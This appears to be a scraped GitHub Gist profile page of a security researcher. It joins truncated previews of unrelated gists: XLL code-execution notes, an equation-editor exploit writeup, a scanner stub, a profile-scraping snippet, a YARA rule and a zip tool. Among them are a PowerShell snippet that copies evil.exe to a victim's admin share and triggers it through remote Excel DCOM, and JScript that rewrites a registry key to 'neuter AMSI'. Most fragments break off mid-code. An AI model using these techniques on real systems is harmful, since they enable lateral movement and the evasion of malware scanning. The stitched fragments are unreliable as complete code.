Rich Warren rxwx

Notes

An XLL file is basically a DLL with some special features to make it work with Excel.

See - https://msdn.microsoft.com/en-us/library/office/bb687911.aspx

By creating a DLL which exports xlAutoOpen, and then renaming the compiled DLL to .xll, we can execute our code in DllMain when the file is loaded by Excel.

The attached .xll file will open with Excel (by default) when double-clicked. The user will then be presented with a warning. If the warning is clicked through, then our code is executed.

Description

This Gist documents the values of the HKLM\SOFTWARE\Policies\Adobe\Acrobat Reader\11.0\FeatureLockDown\cDefaultLaunchAttachmentPerms registry key in each version of Adobe Reader 11.0.10 -> 11.0.x

Value meanings

According to: https://www.adobe.com/devnet-docs/acrobatetk/tools/PrefRef/Windows/Attachments.html#idkeyname_1_2986

There are 3 possible values:

New Equation Editor Exploit Variant

On 19/03/18, a large number of RTF samples started triggering one of my "suspicious" RTF rules. Looking at the samples, they all appeared to have around 2-4 detections, which seemed curious. This was confirmed by Mitja Kolsek to be a new variant of CVE-2018-0802, which is already covered by 0patch, and patched by Microsoft in January 2018. However, the technique is not unique to CVE-2018-0802 and can be seen used to exploit CVE-2017-11882 aswell.

This was also seen by Shiao Qu. There is a [blog post](https://www.drop

	#!/usr/bin/env python

	import OpenSSL
	from iptools import IpRangeList
	import ssl
	import socket
	import sys
	import argparse

	def do_scan(range, csv=False):

	// paste this in the chrome console and call findMemberID() when on a profile page
	// need to be logged in

	function decodeHtml(html) {
	var txt = document.createElement("textarea");
	txt.innerHTML = html;
	return txt.value;
	}

	function httpGet(){

	$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
	# Windows 10 specific, but searches PATH so ..
	copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
	$excel.ActivateMicrosoftApp("5")
	# excel executes your binary :)

	rule CVE_2017_8759_CRLF {
	meta:
	description = "Detects attempts to exploit CVE-2017-8759 CRLF injection in WSDL file"
	author = "Rich Warren @buffaloverflow"
	reference = "https://www.fireeye.com/blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html"
	date = "2017-09-17"
	strings:
	$s1 = /<soap:address location=\";\r?\n/ ascii wide nocase
	condition:
	$s1

	<#
	.SYNOPSIS
	Author: Rich Warren

	Based on original c# code by Jon Galloway:

	https://weblogs.asp.net/jongalloway/creating-zip-archives-in-net-without-an-external-library-like-sharpziplib

	.DESCRIPTION
	Tool for creating a Zip file in native Powershell with .NET 3.0 only.

	var sh = new ActiveXObject('WScript.Shell');
	var key = "HKCU\\Software\\Microsoft\\Windows Script\\Settings\\AmsiEnable";

	try{
	var AmsiEnable = sh.RegRead(key);
	if(AmsiEnable!=0){
	throw new Error(1, '');
	}
	}catch(e){
	sh.RegWrite(key, 0, "REG_DWORD"); // neuter AMSI